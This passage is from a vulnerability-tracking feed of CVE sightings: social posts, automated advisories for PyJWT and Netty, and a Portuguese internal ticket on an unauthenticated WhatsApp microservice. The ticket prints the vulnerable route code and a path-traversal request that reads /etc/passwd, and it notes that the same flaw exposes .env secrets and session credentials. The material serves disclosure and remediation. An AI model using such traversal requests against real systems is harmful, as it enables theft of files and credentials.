"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48714", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moef7y4spa2t", "content": "\ud83d\udd34 CVE-2026-48714 - Critical (9.1)\n\ni18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48714/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-15T23:00:46.208193Z"}, {"uuid": "94159b62-5ff8-43a0-a420-648cab199bb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48017", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moefa77ofs2n", "content": "\ud83d\udfe0 CVE-2026-48017 - High (8.8)\n\nDbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-re...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48017/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-15T23:00:53.753212Z"}, {"uuid": "b3450ce9-76f8-46e4-bbe1-355c145b7336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48713", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moeimat47y2n", "content": "CVE-2026-48713 - i18next-fs-backend: Prototype pollution via crafted missing-key string\nCVE ID : CVE-2026-48713\n \n Published : June 15, 2026, 10:16 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : Versions prior to 2.6.6 are vulnerable to prototype pollution via crafted missing-...", "creation_timestamp": "2026-06-16T00:01:18.938782Z"}, {"uuid": "2bbef858-e386-4134-bc11-91b87c1e74e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48524", "type": "seen", "source": "https://gist.github.com/alon710/71d181c729157a76bf49cfdfcfefeae5", "content": "# CVE-2026-48524: CVE-2026-48524: Remote Cache Eviction and Authentication Denial of Service in PyJWT\n\n> **CVSS Score:** 3.7\n> **Published:** 2026-06-15\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48524\n\n## Summary\nA logic flaw in PyJWT's PyJWKClient class allows remote unauthenticated attackers to trigger a complete authentication outage. By transmitting a volume of JWTs containing randomized, non-existent Key ID (kid) values, attackers force synchronous outbound JWKS resolution queries. When these queries fail or time out, a defect in the error cleanup code overwrites the local cache of valid signing keys with None, causing a denial of service.\n\n## TL;DR\nUnauthenticated attackers can send JWTs with randomized KIDs to force connection errors on the target's upstream JWKS endpoint. A flaw in the error cleanup sequence then writes None to the cache, evicting all legitimate signing keys and preventing legitimate users from authenticating.\n\n## Technical Details\n\n- **CWE ID**: CWE-460\n- **Attack Vector**: Network\n- **CVSS v3.1**: 3.7\n- **EPSS Score**: 0.00205\n- **Impact**: Denial of Service (DoS)\n- **Exploit Status**: none\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Applications utilizing the pyjwt Python package prior to version 2.13.0 with PyJWKClient enabled for dynamic key retrieval.\n- **pyjwt**: < 2.13.0 (Fixed in: `2.13.0`)\n\n## Mitigation\n\n- Upgrade PyJWT to version 2.13.0 or higher\n- Implement rate limiting at the API Gateway or WAF level to throttle incoming requests with unique, unverified JWT headers\n- Validate the format and structure of the 'kid' header before initiating client database or remote lookup actions\n- Apply strict outbound connection limits and low timeouts on requests to dynamic JWKS endpoints\n\n**Remediation Steps:**\n1. Identify all deployment environments running Python-based JWT authentication layers.\n2. Check the installed PyJWT version using 'pip show pyjwt'.\n3. Upgrade the package to a safe version: 'pip install --upgrade \"pyjwt>=2.13.0\"'.\n4. Restart the application server instances to reload the newly patched dependency into memory.\n5. Set up application telemetry to alert on spikes of 'PyJWKClientConnectionError' or unhandled connection timeouts.\n\n## References\n\n- [GitHub Security Advisory GHSA-fhv5-28vv-h8m8](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-fhv5-28vv-h8m8)\n- [Official CVE Record CVE-2026-48524](https://www.cve.org/CVERecord?id=CVE-2026-48524)\n- [PyJWT Commit Fix 95791b1759b8aa4f2203575d344d5c78564cdc81](https://github.com/jpadilla/pyjwt/commit/95791b1759b8aa4f2203575d344d5c78564cdc81)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48524) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-15T23:21:16.000000Z"}, {"uuid": "908ab7b0-bf69-491f-8b32-568c5d59100f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48853", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moeikz22zn2e", "content": "CRITICAL: elixir-grpc grpc (<1.0.0) flaw lets attackers crash BEAM VM or gain RCE via unsafe deserialization. Block risky Content-Type inputs & await vendor patch. https://radar.offseq.com/threat/cve-2026-48853-cwe-502-deserialization-of-untruste-dc5cfe73 #OffSeq #elixir #CVE202648853", "creation_timestamp": "2026-06-16T00:00:37.182218Z"}, {"uuid": "127e24ef-a0e1-4d1a-b935-d5dc3a1021fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48853", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116756842721787890", "content": "\ud83d\udea8 CRITICAL: elixir-grpc grpc (0.4.0-<1.0.0) vulnerable to unauthenticated RCE & DoS via unsafe :erlang.binary_to_term/1 use. Patch status pending \u2014 restrict 'application/grpc+erlpack' inputs now! CVE-2026-48853 https://radar.offseq.com/threat/cve-2026-48853-cwe-502-deserialization-of-untruste-dc5cfe73 #OffSeq #elixir #CVE202648853 #infosec", "creation_timestamp": "2026-06-16T00:00:42.686433Z"}, {"uuid": "69ba7524-8704-4a39-8205-31f13de3df55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48017", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moeiuuv7po2c", "content": "CVE-2026-48017 - DbGate: Remote Code Execution via functionName injection in loadReader endpoint\nCVE ID : CVE-2026-48017\n \n Published : June 15, 2026, 10:16 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : DbGate is cross-platform database manager. In versions 7.1.8 and prior, t...", "creation_timestamp": "2026-06-16T00:06:08.189675Z"}, {"uuid": "de000b78-9af5-4567-83e2-63166fb6db7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48723", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moej75ze2b2f", "content": "CVE-2026-48723 - BrowserStack Cypress CL: Command Injection via cypress_config_file leads to arbitrary code execution through malicious browserstack.json\nCVE ID : CVE-2026-48723\n \n Published : June 15, 2026, 11:16 p.m. | 25\u00a0minutes ago\n \n Description : The browserstack-cypress...", "creation_timestamp": "2026-06-16T00:11:53.356289Z"}, {"uuid": "fdb0545a-0631-49b3-a1d6-21cdbe8b4641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48599", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moejf54fro22", "content": "CVE-2026-48599 - Authorization bypass via path binding override in elixir-grpc/grpc HTTP transcoding\nCVE ID : CVE-2026-48599\n \n Published : June 15, 2026, 11:16 p.m. | 25\u00a0minutes ago\n \n Description : Authorization Bypass Through User-Controlled Key vulnerability in elixir-grpc...", "creation_timestamp": "2026-06-16T00:15:13.534327Z"}, {"uuid": "ded17b34-a746-4f4b-b106-1cf230bf9b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48853", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moejtklbs22p", "content": "CVE-2026-48853 - Remote code execution and denial of service via unsafe Erlang term deserialization in elixir-grpc/grpc\nCVE ID : CVE-2026-48853\n \n Published : June 15, 2026, 11:16 p.m. | 25\u00a0minutes ago\n \n Description : Deserialization of Untrusted Data and Allocation of Resour...", "creation_timestamp": "2026-06-16T00:23:17.509801Z"}, {"uuid": "d1c266e2-9c54-42ed-b1a2-c42d469a70b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48157", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moek4j5hxb2i", "content": "CVE-2026-48157 - Slim has Reflected XSS in the HtmlErrorRenderer\nCVE ID : CVE-2026-48157\n \n Published : June 15, 2026, 10:16 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : Slim is a PHP micro framework that enables users to write simple web applications and APIs. In versions 4...", "creation_timestamp": "2026-06-16T00:28:17.975052Z"}, {"uuid": "a3fa14ef-00f7-4651-bffe-41b91e4e5ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48714", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moekfhn56c2n", "content": "CVE-2026-48714 - i18next-http-middleware missingKeyHandler does not reject keys whose segments contain prototype-polluting names\nCVE ID : CVE-2026-48714\n \n Published : June 15, 2026, 10:16 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : i18next-http-middleware is a middleware t...", "creation_timestamp": "2026-06-16T00:33:18.297029Z"}, {"uuid": "6e85339b-96bd-449e-ad32-0a3f16bc41b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48854", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moelaczwpr2p", "content": "CVE-2026-48854 - Unbounded request body accumulation causes memory exhaustion in elixir-grpc/grpc\nCVE ID : CVE-2026-48854\n \n Published : June 15, 2026, 11:16 p.m. | 25\u00a0minutes ago\n \n Description : Allocation of Resources Without Limits or Throttling vulnerability in elixir-grp...", "creation_timestamp": "2026-06-16T00:48:19.419191Z"}, {"uuid": "5124795f-bcac-4e92-974c-8f97679960ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48748", "type": "seen", "source": "https://gist.github.com/alon710/bc7929d92c51f42ce9344791ed6ca313", "content": "# CVE-2026-48748: CVE-2026-48748: Netty HTTP/3 QPACK Blocked Streams Memory Exhaustion\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-06-15\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48748\n\n## Summary\nCVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.\n\n## TL;DR\nA boundary check bypass and memory leak in Netty's HTTP/3 QPACK decoder allow remote attackers to exhaust JVM memory and crash servers via an unrestricted number of blocked streams.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-770\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 7.5\n- **EPSS Score**: 0.00488\n- **Impact**: Availability (Denial of Service via JVM OOM)\n- **Exploit Status**: PoC\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- io.netty:netty-codec-http3\n- Netty HTTP/3-enabled web servers\n- API gateways using Netty for HTTP/3\n- **netty-codec-http3**: >= 4.2.0.Final, < 4.2.15.Final (Fixed in: `4.2.15.Final`)\n\n## Mitigation\n\n- Upgrade netty-codec-http3 to version 4.2.15.Final or later.\n- Manually set HTTP3_SETTINGS_QPACK_BLOCKED_STREAMS to a non-zero limit (e.g., 100) as a temporary workaround.\n\n**Remediation Steps:**\n1. Identify all Maven, Gradle, or other dependency declarations referencing io.netty:netty-codec-http3.\n2. Update the version property to 4.2.15.Final or later.\n3. If an immediate upgrade is impossible, modify server initialization code to set Http3Settings.withQpackBlockedStreams(100) or equivalent setting in the HTTP/3 bootstrap configuration.\n4. Rebuild and redeploy the application.\n5. Monitor JVM memory usage and QUIC connection durations to detect anomalies.\n\n## References\n\n- [GitHub Advisory GHSA-4grm-h2qv-h6w6](https://github.com/netty/netty/security/advisories/GHSA-4grm-h2qv-h6w6)\n- [Netty 4.2.15.Final Release Tag](https://github.com/netty/netty/releases/tag/netty-4.2.15.Final)\n- [NVD Vulnerability Page](https://nvd.nist.gov/vuln/detail/CVE-2026-48748)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-48748)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48748) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-16T00:56:16.000000Z"}, {"uuid": "e95ca7b1-6a93-4ca0-9b0e-955f8e4ac088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48723", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moelvjhbsc24", "content": "\ud83d\udfe0 CVE-2026-48723 - High (7.8)\n\nThe browserstack-cypress-cli is BrowserStack's CLI which allows users to run Cypress tests on Bro...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48723/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-16T01:00:12.418985Z"}, {"uuid": "d9c97fbe-de1a-41f4-92a0-a73cda53a811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48714", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moenlnrkc727", "content": "CRITICAL: i18next-http-middleware <3.9.7 has a prototype pollution flaw in missingKeyHandler. Risk: app crashes, config poisoning. Upgrade to 3.9.7 or restrict handler access now! https://radar.offseq.com/threat/cve-2026-48714-cwe-1321-improperly-controlled-modi-f43de94a #OffSeq #CVE202648714 #No...", "creation_timestamp": "2026-06-16T01:30:27.854431Z"}, {"uuid": "5d895ccb-74fb-483e-bb4b-47e46abbd167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48714", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116757195997316515", "content": "\ud83d\udea8 CRITICAL: CVE-2026-48714 in i18next-http-middleware (<3.9.7) enables remote prototype pollution via missingKeyHandler. Impacts: app crashes, translation corruption, config poisoning. Upgrade to 3.9.7 or apply mitigations! https://radar.offseq.com/threat/cve-2026-48714-cwe-1321-improperly-controlled-modi-f43de94a #OffSeq #CVE202648714 #infosec", "creation_timestamp": "2026-06-16T01:30:28.233698Z"}, {"uuid": "78f5e5d7-1fd0-4f19-9a4f-25777911509b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3moepyfm5qu2k", "content": "Critical SimpleHelp Zero-Day CVE-2026-48558 Enables MFA Bypass While Google Uncovers UNC6508 Espionage Campaign Hidden Since 2023 +\u00a0Video\n\nBreaking Security Landscape Overview The cybersecurity ecosystem has been shaken by two parallel revelations that expose how fragile modern digital\u2026", "creation_timestamp": "2026-06-16T02:13:23.004806Z"}, {"uuid": "1f81b521-c5ea-4d5f-a4d9-10e831a08ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48713", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moesmlifow2c", "content": "CRITICAL: i18next-fs-backend <2.6.6 vulnerable to prototype pollution! Patch to 2.6.6 or mitigate (restrict missingKeyHandler, disable key splitting) to prevent security bypass & crashes. More info: https://radar.offseq.com/threat/cve-2026-48713-cwe-1321-improperly-controlled-modi-6faa1b03 #OffSe...", "creation_timestamp": "2026-06-16T03:00:27.776548Z"}, {"uuid": "5f124d56-57a1-4f94-84a6-c5a2b3186e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48713", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116757549872056414", "content": "\ud83d\udea8 CVE-2026-48713: Prototype pollution in i18next-fs-backend <2.6.6 (CVSS 9.1, CRITICAL). Exploitable via crafted missing-key strings, leading to crashes or security bypass. Upgrade to 2.6.6 or apply mitigations now! https://radar.offseq.com/threat/cve-2026-48713-cwe-1321-improperly-controlled-modi-6faa1b03 #OffSeq #infosec #NodeJS #vuln", "creation_timestamp": "2026-06-16T03:00:27.828334Z"}, {"uuid": "3836b66c-a829-47b2-9d15-61564005e8e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48723", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3moetzxn64f2o", "content": "browserstack-cypress-cli v1.36.4\u4ee5\u524d\u3067OS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306b\u7279\u6b8a\u6587\u5b57\u3092\u542b\u3081\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306f\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u306b\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u2026\nCVE-2026-48723 CVSS 7.8 | HIGH", "creation_timestamp": "2026-06-16T03:25:50.337779Z"}, {"uuid": "ef8d75f7-3bde-4d91-acea-b94753fde3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mof63lmlkj2j", "content": "\ud83d\udcf0 Celah Kritis SimpleHelp: Peretas Bisa Buat Akun Teknisi Siluman Tanpa Autentikasi\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/16/celah-kritis-simplehelp-hacker-buat-akun-teknisi/\n\n#azureAd #cve-2026-48558 #hacker #keamananSiber #komputer #oidc #patch #peretas #remoteSuppor", "creation_timestamp": "2026-06-16T06:25:42.618982Z"}, {"uuid": "1937028c-24f9-4c6b-b6a1-83763f4fa381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48172", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mofqovg7e62n", "content": "\ud83d\udcf0 CISA Keluarkan Peringatan Darurat: Celah Keamanan cPanel LiteSpeed Aktif Dieksploitasi Massal\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/16/celah-plugin-cpanel-litespeed-dieksploitasi-massal/\n\n#cisa #cpanel #cve-2026-48172 #cve-2026-54420 #exploit #gadget #hardware #hosti", "creation_timestamp": "2026-06-16T11:58:37.234364Z"}, {"uuid": "8149080a-b2e7-4cd9-acec-2f0ee9659aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mofu5i5sbf2p", "content": "CISA ordered federal agencies to patch CVE-2026-48172 in LiteSpeed cPanel plugin within 3 days. The flaw in versions before 2.4.8 can enable root escalation on shared hosting via UNIX symlink. #CISA #LiteSpeed #CloudLinux", "creation_timestamp": "2026-06-16T13:00:28.010376Z"}, {"uuid": "dd93826d-0232-4e4f-8c13-04d4aa3ab75e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mofwfvnkj22s", "content": "SimpleHelp RMM flaw could give attackers full access to managed endpoints (CVE-2026-48558)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/06/16/s...\n\n#MSP #remotemanagement #SMBs #vulnerability #RMM #SimpleHelp #cybersecurity #cybersecuritynews @horizon3ai.bsky.social", "creation_timestamp": "2026-06-16T13:41:01.514086Z"}, {"uuid": "1ecf71a1-2f22-4fe8-8efe-b51c6fc37cef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mofww4z7ix2c", "content": "SimpleHelp RMM\u306e\u8106\u5f31\u6027\u3001\u653b\u6483\u8005\u304c\u7ba1\u7406\u5bfe\u8c61\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3078\u30d5\u30eb\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306b\uff08CVE-2026-48558\uff09\n\n\u4eba\u6c17\u306e\u30ea\u30e2\u30fc\u30c8\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0\u30fb\u7ba1\u7406\uff08RMM\uff09\u30c4\u30fc\u30eb\u300cSimpleHelp\u300d\u306b\u91cd\u5927\u306a\u8106\u5f31\u6027\uff08CVE-2026-48558\uff09\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3068\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u304c\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u65b0\u305f\u306a\u300c\u30c6\u30af\u30cb\u30b7\u30e3\u30f3\u300d\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u4f5c\u6210\u3057\u3001\u7ba1\u7406\u5bfe\u8c61\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3078\u306e\u30ea\u30e2\u30fc\u30c8\u63a5\u7d9a\u3084\u30b9\u30af\u30ea\u30d7\u30c8\u5b9f\u884c\u306a\u3069\u304c\u884c\u3048...", "creation_timestamp": "2026-06-16T13:50:02.410167Z"}, {"uuid": "28008d07-ba4c-4a4d-a7ce-b1059a4b6188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48063", "type": "seen", "source": "https://gist.github.com/ti-codetec/595cf90f9edd6fcd9e1bb577dea0089b", "content": "# An\u00e1lise Detalhada do Ticket #1636\n\n**T\u00edtulo:** [Backend]\ud83d\udc1e SEC-15 \u00b7 Node WhatsApp service: Zero Auth, Path Traversal & Baileys CVE\n**URL:** https://github.com/zydontecnologia/zydon-tickets/issues/1636\n\n---\n\n## 1. Descri\u00e7\u00e3o do Bug e Impacto\n\nO microsservi\u00e7o `zydon-plugin-whatsapp-web-instances` (identificado internamente no `package.json` como `baileys-panel`) \u00e9 respons\u00e1vel por gerenciar conex\u00f5es persistentes do WhatsApp Web para diversos tenants por meio da biblioteca Baileys. Este servi\u00e7o foi analisado e apresenta tr\u00eas vulnerabilidades cr\u00edticas de seguran\u00e7a que, combinadas, exp\u00f5em toda a infraestrutura e os dados de clientes a riscos grav\u00edssimos.\n\n### Vulnerabilidade 1: Aus\u00eancia Completa de Autentica\u00e7\u00e3o (Zero Auth)\nO arquivo `src/server.js` exp\u00f5e rotas administrativas, de visualiza\u00e7\u00e3o e de envio de mensagens sem qualquer mecanismo de controle de acesso (middleware de autentica\u00e7\u00e3o, checagem de API Key, tokens JWT, ou verifica\u00e7\u00e3o de tenant/sess\u00e3o).\n*   **Impacto:** Qualquer ator malicioso capaz de alcan\u00e7ar a porta do servi\u00e7o na rede interna (ou exposta publicamente) pode interagir diretamente com as sess\u00f5es, enviar mensagens arbitr\u00e1rias se passando por clientes leg\u00edtimos (`POST /sessions/:id/send`), ler logs e dados de mensagens trocadas (`GET /sessions/:id/logs`), desassociar sess\u00f5es ativas (`DELETE /sessions/:id`) e ler o QR Code para parear novas contas (`GET /sessions/:id/qr`).\n\n### Vulnerabilidade 2: Path Traversal em Leitura de Arquivos de M\u00eddia (`GET /files/:fileId`)\nA rota `/files/:fileId` utiliza uma concatena\u00e7\u00e3o direta e insegura de caminhos (`path.join(TEMP_DIR, fileId)`) para localizar e servir arquivos de m\u00eddia baixados temporariamente pelo Baileys.\n*   **Impacto:** Um invasor pode realizar requisi\u00e7\u00f5es usando sequ\u00eancias de diret\u00f3rio relativo (como `../`), as quais s\u00e3o processadas e normalizadas pelo Express, permitindo a leitura e o download de **qualquer arquivo** leg\u00edvel pelo usu\u00e1rio de execu\u00e7\u00e3o do container. Isso exp\u00f5e chaves de API, vari\u00e1veis de ambiente contidas no `.env`, e principalmente os arquivos de credenciais persistidos das sess\u00f5es ativas (como `creds.json`), permitindo que atacantes clonem as conex\u00f5es de WhatsApp dos clientes.\n\n### Vulnerabilidade 3: Uso de Depend\u00eancia Vulner\u00e1vel do Baileys (CVE / GHSA-qvv5-jq5g-4cgg)\nA biblioteca `@whiskeysockets/baileys` est\u00e1 travada no `package.json` na vers\u00e3o `^7.0.0-rc.9`, que se encontra dentro da faixa afetada pela vulnerabilidade **GHSA-qvv5-jq5g-4cgg (CVE-2026-48063)** com severidade **Cr\u00edtica (CVSS 9.3)**.\n*   **Impacto:** Mensagens do tipo `protocolMessage` (como requisi\u00e7\u00f5es de reenvio de placeholders) especialmente modificadas por um invasor podem for\u00e7ar a inje\u00e7\u00e3o e o processamento de eventos `messages.upsert` falsos no bridge. Como este microsservi\u00e7o repassa cegamente os eventos de mensagens recebidas aos webhooks cadastrados pelas inst\u00e2ncias (`sessions.js:401`), o atacante consegue forjar mensagens inbound e corromper o estado de sincroniza\u00e7\u00e3o sem que o usu\u00e1rio tenha enviado tais mensagens.\n\n---\n\n## 2. An\u00e1lise T\u00e9cnica e Rastreamento da Causa Raiz\n\n### 2.1 An\u00e1lise de Aus\u00eancia de Autentica\u00e7\u00e3o\nInvestigando o arquivo `src/server.js:31-35`:\n```javascript\nconst app = express();\nconst PORT = process.env.PORT || 8080;\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, '../public')));\n```\nN\u00e3o existem middlewares de seguran\u00e7a como `cors`, `helmet`, ou validadores personalizados aplicados antes das defini\u00e7\u00f5es de rotas (`POST /sessions`, `GET /sessions`, `DELETE /sessions/:id`, etc.). O servidor faz o bind em `0.0.0.0` (escutando em todas as interfaces) na porta `8080` de forma completamente aberta.\n\n### 2.2 An\u00e1lise do Path Traversal em `/files/:fileId`\nNo arquivo `src/server.js:175-190`:\n```javascript\napp.get('/files/:fileId', (req, res) => {\n  const { fileId } = req.params;\n  const filePath = path.join(TEMP_DIR, fileId);\n\n  if (!fs.existsSync(filePath)) {\n    return handleErrorResponse(res, 404, 'Arquivo n\u00e3o encontrado');\n  }\n\n  const mimeType = mime.lookup(filePath) || 'application/octet-stream';\n  res.setHeader('Content-Type', mimeType);\n  res.sendFile(filePath, (err) => {\n    if (err) {\n      handleErrorResponse(res, 500, 'Erro ao enviar o arquivo', err);\n    }\n  });\n});\n```\nQuando uma requisi\u00e7\u00e3o como `GET /files/..%2f..%2f..%2fetc%2fpasswd` \u00e9 processada, `req.params.fileId` recebe o valor `\"../../../etc/passwd\"`. \nAo executar `path.join(TEMP_DIR, fileId)`, o Node.js resolve os caracteres de travessia relativos e retorna `/etc/passwd`. Como `/etc/passwd` existe, o `fs.existsSync(filePath)` retorna verdadeiro e o arquivo \u00e9 enviado de forma bem-sucedida via `res.sendFile(filePath)`.\n\n### 2.3 An\u00e1lise da Vulnerabilidade do Baileys\nNo `package.json:21` do reposit\u00f3rio:\n```json\n\"@whiskeysockets/baileys\": \"^7.0.0-rc.9\"\n```\nA vulnerabilidade **GHSA-qvv5-jq5g-4cgg** afeta todas as vers\u00f5es inferiores a `6.7.22` e vers\u00f5es `7.x` do tipo release candidate inferiores a `7.0.0-rc12` (especificamente `>= 7.0.0-rc.1, < 7.0.0-rc12`). A vers\u00e3o instalada `7.0.0-rc.9` est\u00e1 